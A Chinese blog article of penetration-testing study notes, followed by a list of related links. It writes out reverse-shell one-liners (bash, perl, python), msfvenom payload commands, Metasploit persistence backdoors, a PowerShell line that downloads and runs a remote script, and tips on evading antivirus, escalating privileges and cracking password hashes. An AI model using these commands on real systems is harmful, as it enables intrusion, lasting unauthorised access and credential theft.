前言


上个学期一直在学审计,前几天ST2漏洞大火,随便打一个就是root权限,我却拿着root权限不知如何继续进行。因为这个,发现了自己对渗透知识的缺失,因此用了两周左右的时间学习补充了一下内网渗透的知识,看了不少大牛的文章,膜拜之余还是做了一些笔记的。到渗透入门结束之余,打算自己整理一下最近学习到的关于渗透的知识,写一篇文章。

回过头看渗透,在机械流程的前提下,什么情况下使用什么工具,做出什么反应的适应性思路更为重要。一次大快人心的渗透过程与扎实的基础知识和熟练的工具使用是分不开的。

渗透初探


一个概念

正向shell:攻击者连接被攻击者机器,可用于攻击者处于内网,被攻击者处于公网的情况。

攻击者–>被攻击者

反向shell:被攻击者主动连接攻击者,可用于攻击者处于外网,被攻击者处于内网的情况。

攻击者<–被攻击者

msf shell

反向shell

正向shell

Linux:msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell

Windows:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=121.196.209.139 LPORT=4444 -f exe > abc.exe

Android:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R > /root/apk.apk

其他的各种各样的姿势的反弹shell:

bash:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用SSH通道:

Ssh -qTfnN -L port:host:hostport -l user remote_ip 正向隧道,监听本地port
Ssh -qTfnN -R port:host:hostport -l user remote_ip 反向隧道,用于内网穿透防火墙限制之类
Ssh -qTfnN -D port remotehost 直接进行socks代理

参数:

-q 安静模式
-T 不占用shell
-f 后台运行,推荐加-n参数
-N 不执行远程命令

SSH端口转发:

Ssh -CfNg -L port1:127.0.0.1:port2 user@host 本地转发
Ssh -CfNg -R port2:127.0.0.1:port1 user@hsst 远程转发

拿到shell后的两个方向


如果是低权限的机器,就提权:

检查操作系统发行版本:lsb_release -a

依据系统的内核,寻找对应的exp提权:

根据内核寻找exp的网站: https://www.kernel-exploits.com/   ,也可以用kali下的searchsploit命令

如果尝试的所有的exp都失败了,可以试一试新版本内核的exp。但是注意,内核exp提权有崩溃系统的风险。

一些其他的办法:

利用SUID提权

1. SUID是一种属性,他允许用户执行的文件以该文件的拥有者身份运行。3.81的nmap中可以使用交互模式以root执行任意系统命令。

2. 环境变量劫持的方法提权

3. Passwd文件是否可写,可写则修改密码登录

4. Shadow是否可读,可读则使用hashcat或john暴力破解

5. 使用web端的一些密码测试root密码是否相同

6. 使用命令 ls -l /etc/cron* 查看计划任务,也许会有脚本使自己成为root用户

使用命令 netstat -antup查看服务,有没有什么神奇的服务,可以用nc转发出来。

相关工具:https://www.securitysift.com/download/linuxprivchecker.py   详细地列出网卡信息,主机信息,passwd文件,开启服务等等信息。

提权的方法复杂而多样,主要的手段还是第一种的使用exp提权。在尝试所有的提权方法之后依然不能成功,那么可以使用这台主机作为跳板进行内网的进一步渗透。

后门


拿下一个shell容易,但是对方服务器重启,web漏洞被补上,木马被删除,还能有办法保留住shell么?这里提供了几种持续后门的方法。

Msf的持续后门

Persistence: run persistence -h:用于创建启动项启动,会创建注册表,创建文件。(X86_Linux不支持此脚本)

Run metsvc -h :用于创建服务,会创建meterpreter服务,并上传三个文件,容易被杀(我的msf版本不支持)使用-r参数可以卸载服务

Mof_ps_persist

Msf自动运行脚本

Autorunscript,一个十分强大的脚本,可以在生成会话的同事,执行指定的操作。可以通过autorunscript调用的脚本有6个,目录metasploit/scripts/meterpreter,有屏幕截图,获取环境变量等等。

使用persistence和autorunscript留后门的方法是:

Use explit/multi/handler
Set payload windows/meterpreter/reverse_tcp
Set lhost ***
Set lport ***
Set ExitOnSession false
Set AutoRunScript persistence -r *** -p 7231 -U -X -I 30
Exploit -j -z

绕过拦截的计划任务:

构造创建计划任务:schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://a.com/1.ps1’);” 保存以上命令到1.ps一,通过IEX下载执行。

本机测试时360第二种报毒,第一种通过。

网络分析


查看本机网络信息

ipconfig

使用代理探测内网

正向代理:Regeorg + proxychains (win下用proxycap)

Regeorg: https://github.com/sensepost/reGeorg

上传服务器可执行的tunnel文件,在本机执行:

python reGeorgSocksProxy.py -p 2333 -u http://aaaaaa.com/tunnel.php

Proxychains: https://github.com/rofl0r/proxychains-ng

配置文件

vim /etc/proxychains.conf

在最后一行添加socks5 127.0.0.1 2333(与regeorg端口相同)

使用时,在执行的命令前加proxhchains 4, 比如:proxychains 4 nmap -sT -Pn -n 127.0.0.1

反向代理:路由表+socks4a+proxychains

在msf中如果拿到一个meterpreter shell,有一个很简单的添加路由表的方法:run autoroute -s 192.168.122.0/24,添加完路由表后,msf框架就可以使用跳板进行对192.168.122.0/24的网络访问了。

若要使用nmap一类的工具,需要使用msf框架中的socks4a工具代理,目录:auxiliary/server/socks4a

开启socks4a后可以用netstat -antp | grep 1080来检查一下是否成功。

Proxychains 不支持ICMP协议,nmap要加-sT 和 -Pn 参数。

使用nmap探测内网服务

如果只探测服务,则查看hosts,扫描特定的服务。

如果为了探测整个内网,则全网段扫描。

通过跳板对内网爆破

kali工具包中的Hydra可以爆破SSH。

通过跳板转发端口

使用msf的portfwd工具可以转发内网ip的端口。

关注的两个点:

寻找交换机路由器,尝试snmp弱口令。关于snmp的知识:http://wooyun.jozxing.cc/static/drops/tips-409.html

通过收集到的信息,编写字典,对ftp,ssh,dbserver进行爆破。

对内网的web服务进行攻击,内网的web弱口令更普遍。

为扩大控制范围,优先控制交换机路由器等网络设备。

分析网络


假设控制路由器,通过路由器收集以下信息:

1. 设备配置

2. 查看相关权限与exp提权

3. 查看版本信息

4. 查看ip地址

5. 活动主机

6. 构建拓扑图

之后可以通过流量监控获取更多数据,进行深入的渗透。后面的内容我就没有学习了,笔记戛然而止!

参考文章


https://www.waitalone.cn/linux-shell-rebound-under-way.html

http://www.tuicool.com/articles/j2eayaF

http://wooyun.jozxing.cc/static/drops/tips-16116.html

https://www.secpulse.com/archives/51092.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-097180.html

本文转自 安全客。

原文地址:http://bobao.360.cn/learning/detail/3683.html

内网渗透思路整理与工具使用相关推荐

  1. 内网渗透系列:内网渗透思路整理

    目录 前言 一.整体概述 1.攻击思路 2.敏感信息 3.攻击过程 二.信息收集 1.主机发现 2.端口扫描 3.漏洞扫描 4.识别内网环境 (1)办公网 (2)生产网 三.漏洞验证 / 漏洞攻击 ( ...

  2. 内网渗透思路06之一次完整的渗透测试

    文章目录 零.本章所用技术 一.网络示意图 二.信息收集之端口探测 2.1端口探测 2.2探测出的端口服务 三.信息收集之子域名挖掘 四.漏洞测试 4.1 dedecms 安全检测 4.1.0 网站指 ...

  3. 内网渗透思路10之SPN拿下域控

    文章目录 零.涉及知识点 一.打点 二.上线web1与data1 三.上线web2 四.收集web2的信息 4.1.使用EW代理socks5上传web2 五.破解域控明文 六.上线data2机器 七. ...

  4. 内网渗透-代理篇(reGeorg+Proxifier代理工具)

    声明:贝塔安全实验室公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载.未经授权,严禁转载,如需转载,请联系开白!请勿利用文章内的相关技术从事非法测试,如因 ...

  5. 靶场vulnstack4内网渗透

    环境介绍: 服务器:192.168.183.129.192.168.10.232 win7:192.168.183.131 DC:192.168.183.130 kali:192.168.10.182 ...

  6. 内网渗透 | FRP代理工具详解

    FRP工具的使用 FRP官方文档:https://gofrp.org/docs 文章目录 **一.FRP工具的介绍** **1.为什么需要内网穿透** **2.FRP介绍** **3.为什么使用FRP ...

  7. 内网渗透测试:Windows权限提升思路

    我的Freebuf:https://www.freebuf.com/author/MrAnonymous 我的博客:https://whoamianony.top/ 文章目录 Windows系统内核溢 ...

  8. 【内网渗透工具】炫彩蛇安装教程

    点击查看[学习资料] Viper是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化. Viper基础功能已集成杀软绕过,内网隧道,文件管理,增强命令行等基础功能. Viper ...

  9. 【Web安全】内网渗透研究之利用MSF和Impacket工具拿域控

    内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 [查看资料] 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也可以写一句话,并且还爆了绝对路 ...

最新文章

  1. numpy.ndarray.view()(懵逼,看不太懂???)(view不会开辟新的内存空间)
  2. Azkaban的Web Server源码探究系列20:resolvebuildFlow
  3. Scrapy定向爬虫教程(二)——提取网页内容
  4. C语言abc输出最小值改错题,C语言程序设计
  5. java关键字说明_JAVA常用关键字及其用法简要说明
  6. Java基础学习总结(161)——Java 重试机制
  7. 成功没有捷径python_成功,大部分时候并没有捷径
  8. HTTP框架--FOREST 的使用
  9. VC文档与视图结构学习总结
  10. Android底部菜单栏的两种实现方式 附完整源码
  11. 如何删除动态数组的指定元素 - 回复 Splendour 的部分问题
  12. @OneToOne or @ManyToOne on references an unknown entity:
  13. JavaScript函数实例(一)
  14. ubuntu系统安装百度云盘
  15. android渠道 积分墙,安卓推广:既然能在应用商店做CPD,为什么还一定要做积分墙?...
  16. python微信抢票脚本_春节到了 教你使用python来抢票回家
  17. 基于SpringBoot + Vue的个人博客系统16——文章的修改和删除
  18. Total 608 (delta 342), reused 0 (delta 0), pack-reused 0 error: RPC failed; HTTP 401 curl 22 The req
  19. 全面的网络诊断-Omnipeek
  20. 从零开始设计一个漂亮的网页(译)

热门文章

  1. IT 项目监理细则(样本)
  2. Android 设备蓝牙连接扫描枪获取扫描内容
  3. 学习-Python函数之函数定义与调用之四则运算计算器的简单实现
  4. c++string字符串查找和替换
  5. 太阳能飞行器的升阻比与滑翔比
  6. 隧道调频广播与无线调度通信系统助力天台山隧道智慧隧道建设
  7. 创业不知道做什么的看过来了——干货分享,禁止转载。
  8. 智慧农业发展,商业计划书撰写,商业模式,ppt亮点
  9. Vue升序降序(前端价格排序)
  10. 怎么用PS制作创意撕裂效果?撕裂照片就靠它了